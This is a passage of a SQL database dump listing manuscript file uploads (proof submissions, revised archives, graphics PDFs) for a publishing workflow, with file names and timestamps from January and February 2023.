13:12:31',1,3,0),(35335,13357,'13357-xgiy-Manuscript-proof-submission-2023-01-24.rar',NULL,'2023-01-24 14:35:00',1,3,0),(35336,13398,'13398-gfwd-Manuscript-proof-submission-2023-01-24.rar',NULL,'2023-01-24 14:35:37',1,3,0),(35337,13400,'13400-yfdc-Manuscript-proof-submission-2023-01-24.rar',NULL,'2023-01-24 14:36:05',1,3,0),(35338,13401,'13401-6yqx-Manuscript-proof-submission-2023-01-24.rar',NULL,'2023-01-24 14:36:33',1,3,0),(35340,13444,'13444-0-Manuscript-2023-01-24.docx',NULL,'2023-01-24 15:22:15',1,1,0),(35341,13398,'13398-Manuscript-2023-01-25-6uq7-ap-team-revised.rar',NULL,'2023-01-25 10:40:35',1,3,1),(35342,13400,'13400-Manuscript-2023-01-25-5eqo-ap-team-revised.rar',NULL,'2023-01-25 10:41:04',1,3,1),(35343,13401,'13401-Manuscript-2023-01-25-q4em-ap-team-revised.rar',NULL,'2023-01-25 10:41:35',1,3,1),(35344,13357,'13357-Manuscript-2023-01-25-xi7s-ap-team-revised.rar',NULL,'2023-01-25 10:42:05',1,3,1),(35345,13387,'13387-Manuscript-2023-01-25-9sw8.pdf',NULL,'2023-01-25 11:02:19',1,3,0),(35346,13388,'13388-Manuscript-2023-01-25-o0n7.pdf',NULL,'2023-01-25 11:03:10',1,3,0),(35347,13389,'13389-Manuscript-2023-01-25-059h.pdf',NULL,'2023-01-25 11:03:50',1,3,0),(35348,13390,'13390-Manuscript-2023-01-25-ouk4.pdf',NULL,'2023-01-25 11:06:27',1,3,0),(35349,13386,'13386-Manuscript-2023-01-25-jpl0.pdf',NULL,'2023-01-25 11:08:13',1,3,0),(35350,13399,'13399-Manuscript-2023-01-25-cuxd.pdf',NULL,'2023-01-25 11:24:46',1,3,0),(35351,13354,'13354-Manuscript-2023-01-25-9bzr.pdf',NULL,'2023-01-25 11:25:52',1,3,1),(35352,13407,'13407-Manuscript-2023-01-25-9d8m.pdf',NULL,'2023-01-25 11:26:43',1,3,0),(35353,13397,'13397-Manuscript-2023-01-25-sxy7.pdf',NULL,'2023-01-25 11:27:57',1,3,0),(35354,13351,'13351-Manuscript-2023-01-25-kejq.pdf',NULL,'2023-01-25 11:38:52',1,3,1),(35355,13415,'13415-3ohd-Manuscript-proof-submission-2023-01-25.rar',NULL,'2023-01-25 11:58:27',1,3,0),(35356,13414,'13414-nrqo-Manuscript-proof-submission-2023-01-25.rar',NULL,'2023-01-25 11:59:10',1,3,0),(35357,13413,'13413-4rpv-Manuscript-proof-submission-2023-01-25.rar',NULL,'2023-01-25 11:59:25',1,3,0),(35358,13412,'13412-3z4s-Manuscript-proof-submission-2023-01-25.rar',NULL,'2023-01-25 11:59:41',1,3,0),(35359,13411,'13411-9dio-Manuscript-proof-submission-2023-01-25.rar',NULL,'2023-01-25 12:00:09',1,3,0),(35360,13411,'13411-Manuscript-2023-01-25-wce6-ap-team-revised.rar',NULL,'2023-01-25 13:57:15',1,3,1),(35361,13412,'13412-Manuscript-2023-01-25-pysd-ap-team-revised.rar',NULL,'2023-01-25 13:58:06',1,3,1),(35362,13413,'13413-Manuscript-2023-01-25-sdq1-ap-team-revised.rar',NULL,'2023-01-25 13:58:40',1,3,1),(35363,13414,'13414-Manuscript-2023-01-25-2x0a-ap-team-revised.rar',NULL,'2023-01-25 13:59:30',1,3,1),(35364,13415,'13415-Manuscript-2023-01-25-y52g-ap-team-revised.rar',NULL,'2023-01-25 14:00:02',1,3,1),(35365,13445,'13445-0-Manuscript-2023-01-25.docx',NULL,'2023-01-25 14:53:06',1,1,0),(35366,13446,'13446-0-Manuscript-2023-01-25.docx',NULL,'2023-01-25 14:54:05',1,1,0),(35367,13447,'13447-0-Manuscript-2023-01-25.docx',NULL,'2023-01-25 14:55:02',1,1,0),(35368,13448,'13448-0-Manuscript-2023-01-25.docx',NULL,'2023-01-25 14:56:11',1,1,0),(35369,13126,'13126-b8xp-Manuscript-proof-submission-2023-01-25.docx',NULL,'2023-01-25 15:18:06',1,3,0),(35370,13140,'13140-jkmp-Manuscript-proof-submission-2023-01-25.docx',NULL,'2023-01-25 15:19:35',1,3,0),(35371,13142,'13142-v8hx-Manuscript-proof-submission-2023-01-25.docx',NULL,'2023-01-25 15:26:51',1,3,0),(35372,13142,'13142-1anq-Manuscript-proof-submission-2023-01-25.docx',NULL,'2023-01-25 15:26:51',1,3,0),(35373,13141,'13141-2ick-Manuscript-proof-submission-2023-01-25.docx',NULL,'2023-01-25 15:29:59',1,3,0),(35374,13449,'13449-0-Manuscript-2023-01-25.docx',NULL,'2023-01-25 16:56:32',1,1,0),(35375,13352,'13352-o8rq-Manuscript-proof-submission-2023-01-27.docx',NULL,'2023-01-27 10:33:04',1,3,0),(35377,13422,'13422-olb1-Manuscript-proof-submission-2023-01-27.rar',NULL,'2023-01-27 12:28:49',1,3,0),(35378,13422,'13422-Manuscript-2023-01-27-qyg7-ap-team-revised.rar',NULL,'2023-01-27 13:41:24',1,3,1),(35379,13451,'13451-0-Manuscript-2023-01-27.docx',NULL,'2023-01-27 14:27:53',1,1,0),(35380,13422,'13422-Manuscript-2023-01-27-fzpj-graphic-completed.pdf',NULL,'2023-01-27 15:18:27',1,3,0),(35381,13422,'13422-Manuscript-2023-01-27-lrj3.pdf',NULL,'2023-01-27 17:19:26',1,3,1),(35382,13357,'13357-Manuscript-2023-01-28-z20l-graphic-completed.pdf',NULL,'2023-01-28 11:04:07',1,3,0),(35383,13401,'13401-Manuscript-2023-01-28-7uch-graphic-completed.pdf',NULL,'2023-01-28 11:04:16',1,3,0),(35384,13400,'13400-Manuscript-2023-01-28-5zj0-graphic-completed.pdf',NULL,'2023-01-28 11:04:27',1,3,0),(35385,13398,'13398-Manuscript-2023-01-28-ito6-graphic-completed.pdf',NULL,'2023-01-28 11:04:49',1,3,0),(35386,13452,'13452-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:39:30',1,1,0),(35387,13453,'13453-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:41:10',1,1,0),(35388,13454,'13454-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:43:38',1,1,0),(35389,13455,'13455-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:45:56',1,1,0),(35390,13456,'13456-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:48:12',1,1,0),(35391,13457,'13457-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:53:15',1,1,0),(35392,13458,'13458-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 11:54:50',1,1,0),(35393,13459,'13459-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 12:06:35',1,1,0),(35394,13415,'13415-Manuscript-2023-01-28-ilck-graphic-completed.pdf',NULL,'2023-01-28 12:28:42',1,3,0),(35395,13414,'13414-Manuscript-2023-01-28-p1jd-graphic-completed.pdf',NULL,'2023-01-28 12:28:51',1,3,0),(35396,13413,'13413-Manuscript-2023-01-28-q4so-graphic-completed.pdf',NULL,'2023-01-28 12:30:58',1,3,0),(35397,13412,'13412-Manuscript-2023-01-28-g9ho-graphic-completed.pdf',NULL,'2023-01-28 12:32:24',1,3,0),(35398,13411,'13411-Manuscript-2023-01-28-lqwa-graphic-completed.pdf',NULL,'2023-01-28 12:32:39',1,3,0),(35399,13460,'13460-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 12:54:05',1,1,0),(35400,13461,'13461-0-Manuscript-2023-01-28.docx',NULL,'2023-01-28 13:02:13',1,1,0),(35401,13462,'13462-0-Manuscript-2023-01-28.docx',NULL,'2023-01-29 02:09:51',1,1,0),(35402,13448,'13448-2nb3-Manuscript-proof-submission-2023-01-30.rar',NULL,'2023-01-30 09:50:46',1,3,0),(35403,13447,'13447-ezkq-Manuscript-proof-submission-2023-01-30.rar',NULL,'2023-01-30 09:51:25',1,3,0),(35404,13446,'13446-vr8y-Manuscript-proof-submission-2023-01-30.rar',NULL,'2023-01-30 09:52:01',1,3,0),(35405,13445,'13445-i7sz-Manuscript-proof-submission-2023-01-30.rar',NULL,'2023-01-30 09:52:34',1,3,0),(35406,13432,'13432-gfzn-Manuscript-proof-submission-2023-01-30.rar',NULL,'2023-01-30 09:52:53',1,3,0),(35407,13398,'13398-Manuscript-2023-01-30-91ob.pdf',NULL,'2023-01-30 10:27:28',1,3,1),(35408,13401,'13401-Manuscript-2023-01-30-7ulb.pdf',NULL,'2023-01-30 10:28:23',1,3,1),(35409,13400,'13400-Manuscript-2023-01-30-rlma.pdf',NULL,'2023-01-30 10:29:09',1,3,1),(35410,13357,'13357-Manuscript-2023-01-30-hsc6.pdf',NULL,'2023-01-30 10:29:47',1,3,1),(35411,13415,'13415-Manuscript-2023-01-30-ml1i.pdf',NULL,'2023-01-30 10:32:11',1,3,1),(35412,13411,'13411-Manuscript-2023-01-30-6iq1.pdf',NULL,'2023-01-30 10:32:48',1,3,1),(35413,13412,'13412-Manuscript-2023-01-30-il2s.pdf',NULL,'2023-01-30 10:33:40',1,3,1),(35414,13414,'13414-Manuscript-2023-01-30-wv8k.pdf',NULL,'2023-01-30 10:34:28',1,3,1),(35415,13413,'13413-Manuscript-2023-01-30-5t4c.pdf',NULL,'2023-01-30 10:35:13',1,3,1),(35416,13445,'13445-Manuscript-2023-01-30-738a-ap-team-revised.rar',NULL,'2023-01-30 11:57:51',1,3,0),(35417,13446,'13446-Manuscript-2023-01-30-ueyh-ap-team-revised.rar',NULL,'2023-01-30 11:58:31',1,3,0),(35418,13447,'13447-Manuscript-2023-01-30-u6xf-ap-team-revised.rar',NULL,'2023-01-30 11:59:13',1,3,0),(35419,13432,'13432-Manuscript-2023-01-30-2si6-ap-team-revised.rar',NULL,'2023-01-30 11:59:58',1,3,0),(35420,13448,'13448-Manuscript-2023-01-30-tam1-ap-team-revised.rar',NULL,'2023-01-30 12:04:49',1,3,0),(35421,13463,'13463-0-Manuscript-2023-01-30.docx',NULL,'2023-01-30 14:12:16',1,1,0),(35422,13432,'13432-Manuscript-2023-01-30-rdx9-graphic-completed.pdf',NULL,'2023-01-30 14:37:26',1,3,0),(35423,13448,'13448-Manuscript-2023-01-30-81xu-graphic-completed.pdf',NULL,'2023-01-30 14:37:34',1,3,0),(35424,13447,'13447-Manuscript-2023-01-30-u8ex-graphic-completed.pdf',NULL,'2023-01-30 14:37:41',1,3,0),(35425,13446,'13446-Manuscript-2023-01-30-yndb-graphic-completed.pdf',NULL,'2023-01-30 14:37:49',1,3,0),(35426,13445,'13445-Manuscript-2023-01-30-n6zh-graphic-completed.pdf',NULL,'2023-01-30 14:37:56',1,3,0),(35427,13445,'13445-Manuscript-2023-01-30-7gay.pdf',NULL,'2023-01-30 15:34:45',1,3,0),(35428,13446,'13446-Manuscript-2023-01-30-4r23.pdf',NULL,'2023-01-30 15:37:44',1,3,0),(35429,13447,'13447-Manuscript-2023-01-30-9srf.pdf',NULL,'2023-01-30 15:39:12',1,3,0),(35430,13448,'13448-Manuscript-2023-01-30-akyx.pdf',NULL,'2023-01-30 15:40:43',1,3,0),(35431,13432,'13432-Manuscript-2023-01-30-204j.pdf',NULL,'2023-01-30 15:42:11',1,3,0),(35432,2765,'2765-ny3a-Manuscript-proof-submission-2023-01-31.docx',NULL,'2023-01-31 10:23:42',1,3,0),(35433,2765,'2765-qdjv-Manuscript-proof-submission-2023-01-31.pdf',NULL,'2023-01-31 10:23:43',1,3,0),(35434,3131,'3131-dsfr-Manuscript-proof-submission-2023-01-31.docx',NULL,'2023-01-31 10:28:37',1,3,0),(35435,3131,'3131-r2x9-Manuscript-proof-submission-2023-01-31.pdf',NULL,'2023-01-31 10:28:37',1,3,0),(35436,13051,'13051-Manuscript-2023-01-31-qcv7.docx',NULL,'2023-01-31 12:43:40',1,3,0),(35437,13051,'13051-Manuscript-2023-01-31-xvpc.pdf',NULL,'2023-01-31 12:43:58',1,3,0),(35438,13058,'13058-Manuscript-2023-01-31-hmr5.docx',NULL,'2023-01-31 12:51:12',1,3,0),(35439,13058,'13058-Manuscript-2023-01-31-k25o.pdf',NULL,'2023-01-31 12:54:33',1,3,0),(35440,13114,'13114-Manuscript-2023-01-31-8ryi.docx',NULL,'2023-01-31 13:43:19',1,3,0),(35441,13114,'13114-Manuscript-2023-01-31-q45i.pdf',NULL,'2023-01-31 13:43:31',1,3,0),(35442,13464,'13464-0-Manuscript-2023-01-31.docx',NULL,'2023-01-31 15:46:33',1,1,0),(35443,13465,'13465-0-Manuscript-2023-01-31.docx',NULL,'2023-01-31 15:49:20',1,1,0),(35444,13466,'13466-0-Manuscript-2023-01-31.docx',NULL,'2023-01-31 15:51:30',1,1,0),(35445,13467,'13467-0-Manuscript-2023-01-31.docx',NULL,'2023-01-31 15:53:28',1,1,0),(35446,13468,'13468-0-Manuscript-2023-01-31.docx',NULL,'2023-01-31 15:55:49',1,1,0),(35447,13469,'13469-0-Manuscript-2023-01-31.docx',NULL,'2023-01-31 16:29:19',1,1,0),(35448,13470,'13470-0-Manuscript-2023-02-02.docx',NULL,'2023-02-02 16:55:37',1,1,0),(35449,13436,'13436-1l0g-Manuscript-proof-submission-2023-02-03.rar',NULL,'2023-02-03 10:49:22',1,3,0),(35450,13471,'13471-0-Manuscript-2023-02-03.docx',NULL,'2023-02-03 11:03:18',1,1,0),(35451,13436,'13436-Manuscript-2023-02-03-zbe4-ap-team-revised.rar',NULL,'2023-02-03 11:17:56',1,3,1),(35452,12960,'12960-Manuscript-2023-02-03-0oqt.docx',NULL,'2023-02-03 13:58:16',1,3,0),(35453,12960,'12960-Manuscript-2023-02-03-i8bo.pdf',NULL,'2023-02-03 13:58:35',1,3,0),(35454,12908,'12908-Manuscript-2023-02-03-jwvl.docx',NULL,'2023-02-03 14:07:28',1,3,0),(35455,12908,'12908-Manuscript-2023-02-03-ifdl.pdf',NULL,'2023-02-03 14:07:50',1,3,0),(35456,12965,'12965-Manuscript-2023-02-03-xzl1.docx',NULL,'2023-02-03 14:13:38',1,3,0),(35457,12965,'12965-Manuscript-2023-02-03-5a83.pdf',NULL,'2023-02-03 14:13:46',1,3,0),(35458,13472,'13472-0-Manuscript-2023-02-03.docx',NULL,'2023-02-03 15:47:46',1,1,0),(35459,13473,'13473-0-Manuscript-2023-02-03.docx',NULL,'2023-02-03 15:50:30',1,1,0),(35460,13474,'13474-0-Manuscript-2023-02-03.docx',NULL,'2023-02-03 15:52:59',1,1,0),(35461,13475,'13475-0-Manuscript-2023-02-03.docx',NULL,'2023-02-03 16:49:12',1,1,0),(35462,13366,'13366-Manuscript-2023-02-03-am31.pdf',NULL,'2023-02-03 16:53:03',1,3,0),(35463,13367,'13367-Manuscript-2023-02-03-5tjp.pdf',NULL,'2023-02-03 16:53:13',1,3,0),(35464,13367,'13367-Manuscript-2023-02-03-byat.pdf',NULL,'2023-02-03 16:53:18',1,3,0),(35465,13368,'13368-Manuscript-2023-02-03-j76p.pdf',NULL,'2023-02-03 16:53:30',1,3,0),(35466,13369,'13369-Manuscript-2023-02-03-ljt3.pdf',NULL,'2023-02-03 16:53:40',1,3,0),(35467,13370,'13370-Manuscript-2023-02-03-6fqx.pdf',NULL,'2023-02-03 16:53:51',1,3,0),(35468,13476,'13476-0-Manuscript-2023-02-03.docx',NULL,'2023-02-03 17:05:01',1,1,0),(35469,13463,'13463-wlay-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 10:40:53',1,3,0),(35470,13463,'13463-5nia-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 10:40:59',1,3,0),(35471,13429,'13429-z3xb-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 10:42:24',1,3,0),(35472,13428,'13428-20t6-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 10:43:09',1,3,0),(35473,13406,'13406-mc5b-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 10:44:01',1,3,0),(35474,13431,'13431-ijdx-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 10:51:30',1,3,0),(35475,13477,'13477-0-Manuscript-2023-02-06.docx',NULL,'2023-02-06 10:59:45',1,1,0),(35476,13463,'13463-Manuscript-2023-02-06-0xa1-ap-team-revised.rar',NULL,'2023-02-06 13:10:21',1,3,1),(35477,13431,'13431-Manuscript-2023-02-06-z1ei-ap-team-revised.rar',NULL,'2023-02-06 13:11:00',1,3,1),(35478,13428,'13428-Manuscript-2023-02-06-04hv-ap-team-revised.rar',NULL,'2023-02-06 13:12:02',1,3,1),(35479,13429,'13429-Manuscript-2023-02-06-wq35-ap-team-revised.rar',NULL,'2023-02-06 13:12:35',1,3,1),(35480,13406,'13406-Manuscript-2023-02-06-s97i-ap-team-revised.rar',NULL,'2023-02-06 13:13:07',1,3,1),(35481,13365,'13365-Manuscript-2023-02-06-o7ri-graphic-completed.pdf',NULL,'2023-02-06 14:43:18',1,3,0),(35482,13375,'13375-Manuscript-2023-02-06-obju-graphic-completed.pdf',NULL,'2023-02-06 14:43:46',1,3,0),(35483,13478,'13478-0-Manuscript-2023-02-06.docx',NULL,'2023-02-06 15:34:54',1,1,0),(35484,13479,'13479-0-Manuscript-2023-02-06.docx',NULL,'2023-02-06 15:41:32',1,1,0),(35485,13208,'13208-u51d-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 15:50:13',1,3,0),(35486,13480,'13480-0-Manuscript-2023-02-06.docx',NULL,'2023-02-06 15:54:22',1,1,0),(35487,13481,'13481-0-Manuscript-2023-02-06.docx',NULL,'2023-02-06 16:02:37',1,1,0),(35488,13482,'13482-0-Manuscript-2023-02-06.docx',NULL,'2023-02-06 16:39:10',1,1,0),(35489,13365,'13365-Manuscript-2023-02-06-yfcx.pdf',NULL,'2023-02-06 17:20:33',1,3,0),(35490,13375,'13375-Manuscript-2023-02-06-5c6s.pdf',NULL,'2023-02-06 17:21:00',1,3,0),(35491,13375,'13375-Manuscript-2023-02-06-hbqy.pdf',NULL,'2023-02-06 17:21:04',1,3,0),(35492,13455,'13455-navl-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 18:08:57',1,3,0),(35493,13454,'13454-dsz3-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 18:09:53',1,3,0),(35494,13456,'13456-kuyd-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 18:10:15',1,3,0),(35495,13457,'13457-u4e2-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 18:10:33',1,3,0),(35496,13458,'13458-socy-Manuscript-proof-submission-2023-02-06.rar',NULL,'2023-02-06 18:11:02',1,3,0),(35497,13483,'13483-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:10:09',1,1,0),(35498,13484,'13484-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:13:06',1,1,0),(35499,13485,'13485-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:15:59',1,1,0),(35500,13486,'13486-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:17:45',1,1,0),(35501,13487,'13487-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:23:18',1,1,0),(35502,13454,'13454-Manuscript-2023-02-07-w6rn-ipmedt-23-13454.rar',NULL,'2023-02-07 10:36:30',1,3,1),(35503,13488,'13488-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:36:40',1,1,0),(35504,13455,'13455-Manuscript-2023-02-07-gebd-ipmedt-23-13455.rar',NULL,'2023-02-07 10:36:59',1,3,1),(35505,13456,'13456-Manuscript-2023-02-07-ya6d-ipmedt-23-13456.rar',NULL,'2023-02-07 10:37:29',1,3,1),(35506,13457,'13457-Manuscript-2023-02-07-ufea-ipmedt-23-13457.rar',NULL,'2023-02-07 10:38:29',1,3,1),(35507,13458,'13458-Manuscript-2023-02-07-yhim-ipmedt-23-13458.rar',NULL,'2023-02-07 10:39:02',1,3,1),(35508,13489,'13489-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 10:40:51',1,1,0),(35509,13476,'13476-u7ps-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:45:15',1,3,0),(35510,13475,'13475-v1sa-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:45:54',1,3,0),(35511,13474,'13474-6qs2-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:46:27',1,3,0),(35512,13473,'13473-kobv-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:46:43',1,3,0),(35513,13473,'13473-3p9i-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:46:45',1,3,0),(35514,13473,'13473-fag3-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:46:46',1,3,0),(35515,13472,'13472-e0j7-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:11',1,3,0),(35516,13472,'13472-izbp-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:13',1,3,0),(35517,13472,'13472-r547-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:14',1,3,0),(35518,13472,'13472-kgxf-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:16',1,3,0),(35519,13472,'13472-yski-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:17',1,3,0),(35520,13472,'13472-vgzs-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:18',1,3,0),(35521,13472,'13472-0l5v-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:19',1,3,0),(35522,13472,'13472-a7jf-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:20',1,3,0),(35523,13472,'13472-ac76-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:22',1,3,0),(35524,13472,'13472-tcyr-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:23',1,3,0),(35525,13472,'13472-mlw0-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:24',1,3,0),(35526,13472,'13472-gwr2-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:25',1,3,0),(35527,13472,'13472-89iu-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:27',1,3,0),(35528,13472,'13472-atmr-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:28',1,3,0),(35529,13472,'13472-0f9m-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:29',1,3,0),(35530,13472,'13472-2phe-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:30',1,3,0),(35531,13472,'13472-5h0j-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:32',1,3,0),(35532,13472,'13472-p32u-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:33',1,3,0),(35533,13472,'13472-9i6s-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:34',1,3,0),(35534,13472,'13472-enrd-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:35',1,3,0),(35535,13472,'13472-se0m-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:37',1,3,0),(35536,13472,'13472-am6r-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:38',1,3,0),(35537,13472,'13472-xo3s-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:39',1,3,0),(35538,13472,'13472-jy8a-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:40',1,3,0),(35539,13472,'13472-2kmq-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:42',1,3,0),(35540,13472,'13472-l3o5-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:43',1,3,0),(35541,13472,'13472-qi20-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:44',1,3,0),(35542,13472,'13472-yok3-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:45',1,3,0),(35543,13472,'13472-1lhg-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:46',1,3,0),(35544,13472,'13472-xqgr-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:47',1,3,0),(35545,13472,'13472-e450-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:49',1,3,0),(35546,13472,'13472-xnp6-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:50',1,3,0),(35547,13472,'13472-53r6-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:54',1,3,0),(35548,13472,'13472-j7kf-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:56',1,3,0),(35549,13472,'13472-h1rm-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:57',1,3,0),(35550,13472,'13472-6k5n-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 10:47:58',1,3,0),(35551,13490,'13490-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 11:00:43',1,1,0),(35552,2079,'2079-tka2-Manuscript-proof-submission-2023-02-07.docx',NULL,'2023-02-07 11:10:24',1,3,0),(35553,2079,'2079-0o4f-Manuscript-proof-submission-2023-02-07.pdf',NULL,'2023-02-07 11:10:25',1,3,0),(35554,4641,'4641-oz4n-Manuscript-proof-submission-2023-02-07.docx',NULL,'2023-02-07 11:12:18',1,3,0),(35555,4641,'4641-cbjn-Manuscript-proof-submission-2023-02-07.pdf',NULL,'2023-02-07 11:12:18',1,3,0),(35556,13491,'13491-0-Manuscript-2023-02-07.docx',NULL,'2023-02-07 11:37:42',1,1,0),(35557,13370,'13370-Manuscript-2023-02-07-kign-ap-ame-revised.pdf',NULL,'2023-02-07 12:15:32',1,3,0),(35558,13369,'13369-Manuscript-2023-02-07-5n7m-ap-ame-revised.pdf',NULL,'2023-02-07 12:16:12',1,3,0),(35559,13368,'13368-Manuscript-2023-02-07-03k5-ap-ame-revised.pdf',NULL,'2023-02-07 12:16:43',1,3,0),(35560,13367,'13367-Manuscript-2023-02-07-2duh-ap-ame-revised.pdf',NULL,'2023-02-07 12:18:07',1,3,0),(35561,13366,'13366-Manuscript-2023-02-07-4uwh-ap-ame-revised.pdf',NULL,'2023-02-07 12:18:43',1,3,0),(35562,13375,'13375-Manuscript-2023-02-07-mhu2.pdf',NULL,'2023-02-07 14:06:41',1,3,0),(35563,13380,'13380-Manuscript-2023-02-07-r0gx.pdf',NULL,'2023-02-07 14:06:57',1,3,0),(35564,13379,'13379-Manuscript-2023-02-07-x3rm.pdf',NULL,'2023-02-07 14:07:10',1,3,0),(35565,13378,'13378-Manuscript-2023-02-07-jf4t.pdf',NULL,'2023-02-07 14:07:23',1,3,0),(35566,13377,'13377-Manuscript-2023-02-07-29px.pdf',NULL,'2023-02-07 14:07:35',1,3,0),(35567,13376,'13376-Manuscript-2023-02-07-qrd1.pdf',NULL,'2023-02-07 14:07:48',1,3,0),(35568,13470,'13470-es1t-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 14:51:26',1,3,0),(35569,13444,'13444-85py-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 14:53:00',1,3,0),(35570,13475,'13475-Manuscript-2023-02-07-b07v-ap-team-revised.rar',NULL,'2023-02-07 14:53:59',1,3,1),(35571,13427,'13427-qaf3-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 14:54:10',1,3,0),(35572,13476,'13476-Manuscript-2023-02-07-fqml-ap-team-revised.rar',NULL,'2023-02-07 14:54:38',1,3,1),(35573,13424,'13424-9swp-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 14:54:53',1,3,0),(35574,13423,'13423-wgzf-Manuscript-proof-submission-2023-02-07.rar',NULL,'2023-02-07 14:55:44',1,3,0),(35575,13474,'13474-Manuscript-2023-02-07-glsn-ap-team-revised.rar',NULL,'2023-02-07 14:56:03',1,3,1),(35576,13472,'13472-Manuscript-2023-02-07-cgip-ap-team-revised.rar',NULL,'2023-02-07 14:57:17',1,3,1),(35577,13473,'13473-Manuscript-2023-02-07-47pa-ap-team-revised.rar',NULL,'2023-02-07 15:31:05',1,3,1),(35578,13464,'13464-28kh-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:47:26',1,3,0),(35579,13465,'13465-hti7-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:48:31',1,3,0),(35580,13466,'13466-cv2l-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:49:14',1,3,0),(35581,13467,'13467-eg8p-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:50:09',1,3,0),(35582,13468,'13468-wzdv-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:50:51',1,3,0),(35583,13468,'13468-8td9-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:50:54',1,3,0),(35584,13468,'13468-rd27-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 10:50:59',1,3,0),(35585,13366,'13366-Manuscript-2023-02-08-erm9.pdf',NULL,'2023-02-08 10:51:18',1,3,0),(35586,13367,'13367-Manuscript-2023-02-08-xdy9.pdf',NULL,'2023-02-08 10:51:47',1,3,0),(35587,13368,'13368-Manuscript-2023-02-08-jtkq.pdf',NULL,'2023-02-08 10:52:11',1,3,0),(35588,13369,'13369-Manuscript-2023-02-08-26p5.pdf',NULL,'2023-02-08 